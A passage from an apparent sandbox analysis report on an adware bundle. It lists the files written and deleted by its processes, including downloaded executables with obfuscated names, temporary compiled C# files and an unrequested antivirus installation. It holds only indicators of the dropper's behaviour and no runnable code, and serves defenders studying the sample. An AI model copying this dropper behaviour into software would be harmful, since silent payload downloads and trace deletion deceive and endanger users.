%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0 (4 bytes)
%WinDir%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer# (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton (4 bytes)
%System%\drivers\bndef.sys (3073 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\tr.dat (149 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%WinDir%\Microsoft.NET\assembly\GAC_MSIL (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\log\BsrScript.log (7 bytes)
%WinDir%\SoftwareDistribution\Download\9cf59263a134ab3fbbee78365a2fa5fc (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\AppConfig (4 bytes)
%System%\config\systemprofile\Start Menu\Programs\Accessories (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\InstallerR.ini.dat (302 bytes)
%WinDir%\SoftwareDistribution\Download\bc529fa49cb2cb097fdf1e22d25872da (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg (4 bytes)
%WinDir%\Microsoft.NET\Framework\v3.0\Windows Communication Foundation (4 bytes)
%WinDir%\SoftwareDistribution\Download\e104dcd29adf1c6c473a5efad2d509be (4 bytes)
%WinDir%\Temp\Perflib_Perfdata_e30.dat (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\up.dat-journal (532 bytes)
%WinDir%\Microsoft.NET\assembly\GAC_32 (4 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12760 bytes)
%Documents and Settings%\All Users (4 bytes)
%WinDir%\Prefetch\BAVMSSERVICE.EXE-310186DE.pf (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon2.png.7z (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin (4 bytes)
%WinDir%\Microsoft.NET\Framework (96 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\MSPR.dat (30918 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727 (1444 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0 (4 bytes)
%System%\drivers (676 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\System.ServiceModel# (4 bytes)
%Documents and Settings%\%current user% (12 bytes)
%Program Files%\Common Files\Microsoft Shared\DW (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu (12 bytes)
%WinDir%\SoftwareDistribution\Download\07a96de176867bc25b7dc839d22b07e2 (4 bytes)
%WinDir%\SoftwareDistribution\Download\8cac00e8efc87d728c0261686f85c975 (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update (4 bytes)
%WinDir%\SoftwareDistribution\Download\d48a3b967ba5709df048e8f2a49cf8a6 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar (4 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\System.DirectorySer# (4 bytes)
%WinDir%\SoftwareDistribution\Download\cedca0128a48437390192d906f83a717 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\vr.dat (149 bytes)
%WinDir%\security (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general (8 bytes)
%WinDir%\SoftwareDistribution\Download\a4c07d9275eb613d842cb1e140d8a426 (4 bytes)
%System%\config\systemprofile (8 bytes)
%WinDir%\Tasks\060184C3-9766-46a0-B258-F4518A0B2633.job (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hr.dat-journal (532 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n (4 bytes)
%WinDir%\SoftwareDistribution\Download\50e2c72fd814d3841e776dd2c4918260 (4 bytes)
%WinDir%\SoftwareDistribution\Download\c0e4033a7ec549e982572f0d830cf5d0 (4 bytes)
%WinDir%\SoftwareDistribution\Download\cd75fc2c9aa3d47009fe2d95c9f43154 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin (8 bytes)
%System%\config\DEFAULT.LOG (3312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox (4 bytes)
%Documents and Settings%\All Users\Application Data\Microsoft (8 bytes)
%WinDir%\Web\printers (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3 (4 bytes)
%System%\config\systemprofile\Local Settings (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security (4 bytes)
%WinDir%\SoftwareDistribution\Download\299840a657dd26ca3bbf3cee3ec999ba (4 bytes)
%WinDir%\SoftwareDistribution\Download\78cf8552430e25a8f24bc1e4dfb1970e (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate (16 bytes)
%Program Files%\Internet Explorer (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav_NoDisturb.fcg (929 bytes)
%WinDir%\assembly\NATIVEIMAGES_V2.0.50727_32 (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rr.dat-journal (532 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon.png (4 bytes)
%WinDir%\SoftwareDistribution\Download\f2adb0f8440e5dbd459aa6bfcaed1ba5 (4 bytes)
%Program Files%\Reference Assemblies\Microsoft\Framework\v3.5 (4 bytes)
%WinDir%\Microsoft.NET\Framework\v3.5 (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin (4 bytes)
%Program Files%\COMMON FILES (4 bytes)
%WinDir%\SoftwareDistribution\Download\23e79e5fb28793d8cb1c2055b0d8dcb9 (4 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists (4 bytes)
%Documents and Settings%\Default User\Start Menu\Programs (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Wizard (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin (116 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057 (4 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5 (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus (20 bytes)
%Program Files%\Adobe\Reader 9.0\Reader\plug_ins (4 bytes)
%System%\oobe\html\mouse (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button (4 bytes)
%System%\wbem\Logs (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dat-journal (3464996 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\abaf10b7d55d3716fbb63e0b568cb4b6 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton (4 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft (4 bytes)
%WinDir%\SoftwareDistribution\Download\163d01893aa68b49abc63d8d6c9a7bb2 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\uf.dat-journal (707172 bytes)
%WinDir%\SoftwareDistribution\Download\0000894bab70b145c3629920ba907f7a (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox (4 bytes)
%WinDir%\assembly (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\EngineRpt.cfg (4113 bytes)
%System%\drivers\bdark.sys (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\er.dat (149 bytes)
%WinDir%\SoftwareDistribution\Download\2c95b28351986132d7f36dd28eece9b0 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\icon.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin (4 bytes)

The Adware deletes the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\up.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\er.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\vr.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\uf.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rr.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dat (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hr.dat-journal (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\tr.dat-journal (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\71 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\strlog\BavStrLog.dat (0 bytes)

The process CheckNetwork.exe:1488 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\BAVData\Filter.xml (821 bytes)

The process CheckNetwork.exe:1308 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Application Data\BAVData\Filter.xml (821 bytes)

The process PennyBeeW.exe:404 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\1F356F4D07FE8C483E769E4586569404 (85 bytes)
%WinDir%\Temp\qov-o9se.0.cs (8844 bytes)
%WinDir%\Temp\qov-o9se.cmdline (538 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\3B6E683A7A45CC59BF035C9BA8C7AB9D (494 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\B69D763EB21649DA26F20618312DEE70 (232 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\1F356F4D07FE8C483E769E4586569404 (228 bytes)
%WinDir%\Temp\qov-o9se.out (621 bytes)
%WinDir%\Temp\pwxw4cq9.0.cs (676 bytes)
%WinDir%\Temp\pwxw4cq9.out (439 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\3B6E683A7A45CC59BF035C9BA8C7AB9D (240 bytes)
%WinDir%\Temp\pwxw4cq9.cmdline (356 bytes)
%Program Files%\PennyBee\Configs\Timers.xml (1954 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\B69D763EB21649DA26F20618312DEE70 (75 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\ICSharpCode.net\PennyBeeW.exe_Url_agkh2q2wptz44nr1mbd43tyforr5s4zl\1.0.2.0\ht2jtuwq.newcfg (9878 bytes)

The Adware deletes the following file(s):

%WinDir%\Temp\qov-o9se.dll (0 bytes)
%WinDir%\Temp\qov-o9se.0.cs (0 bytes)
%WinDir%\Temp\pwxw4cq9.tmp (0 bytes)
%WinDir%\Temp\pwxw4cq9.err (0 bytes)
%WinDir%\Temp\qov-o9se.cmdline (0 bytes)
%WinDir%\Temp\qov-o9se.tmp (0 bytes)
%WinDir%\Temp\pwxw4cq9.dll (0 bytes)
%WinDir%\Temp\pwxw4cq9.0.cs (0 bytes)
%WinDir%\Temp\qov-o9se.out (0 bytes)
%WinDir%\Temp\qov-o9se.err (0 bytes)
%WinDir%\Temp\pwxw4cq9.out (0 bytes)
%WinDir%\Temp\pwxw4cq9.cmdline (0 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\ICSharpCode.net\PennyBeeW.exe_Url_agkh2q2wptz44nr1mbd43tyforr5s4zl\1.0.2.0\ht2jtuwq.tmp (0 bytes)

The process %original file name%.exe:1284 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\310714_am2[1].exe (20504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe (30176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe (55144 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\240714_t3[1].exe (30176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe (20504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe (21288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\310714_y3[1].exe (55144 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\310714_a7[1].exe (21288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe (130113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw2.tmp (2438 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\310714_bn[1].exe (130113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\desktop.ini (67 bytes)

The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\310714_l.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\registry.dll (0 bytes)

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe:592 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\test4822FBB5_0309_420f_9DA2_FA5B8B854946\test4822FBB5_0309_420f_9DA2_FA5B8B854947.txt (20 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\BavMSServicePlugin.dll (704 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\ReportComm_ForMini.dll (2714 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\MiniSetupRF1 (1137 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\MiniSetupRF0 (1137 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe (15116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\cf4cb3bf0ac6d408cc51ec58fd4a746a.gnet.tmp (4342 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\dc78c2f0002b2e0681223fbef5db306c.gnet.tmp (360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bav7.tmp (36 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\BavMSService.exe (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\BavPro_Setup_B354.exe (102054 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\newver_.xml (857 bytes)
%Documents and Settings%\All Users\Documents\Baidu\Common\I18N\conf.db (759 bytes)

The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CAWH63SH.42&drc=30000&dt=20&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\dc78c2f0002b2e0681223fbef5db306c.gnet (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\cf4cb3bf0ac6d408cc51ec58fd4a746a.gnet (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\BavMSServicePlugin.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CA0DG5I3.42&drc=30000&dt=0&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CA85OBQF.42&drc=30000&dt=20&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\CA2FGHAB.42&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\downinfo[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\92d-840b-d6d8a80f01b6@#000C2902CDFB&gfname=305ab56a567c3d72c91b64ed444314c53b5af76a557c3d72de1b69ed0e4313c52c5aea6a&gfm=30d89e44fcc0e2f332f431013517fa13&gfs=54308 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\newver_.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\downinfo[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bav7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\newver.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CAUB4XMJ.42&drc=30000&dt=0&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CAMAVR18.90620&sip=&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CAAESWNK.42&drc=30000&dt=20&firc=0&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\test4822FBB5_0309_420f_9DA2_FA5B8B854946\test4822FBB5_0309_420f_9DA2_FA5B8B854947.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\test4822FBB5_0309_420f_9DA2_FA5B8B854946 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\CAI1MBCR.90620&sip=&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\BavMSService.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\BavPro_Setup_B354.exe (0 bytes)

The process BavTray.exe:248 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_War.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\detail.xml.7z (858 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Halloween.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\gray_icon.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon5G.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\BavTray.log (10950 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\gray_icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\icon.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon5N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (38 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_WheatField.png (970 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\list.xml (196 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\BavToolsInfo.xml (60551 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Game.png (1690 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Green.png (490 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detail_new.xml (2 bytes)
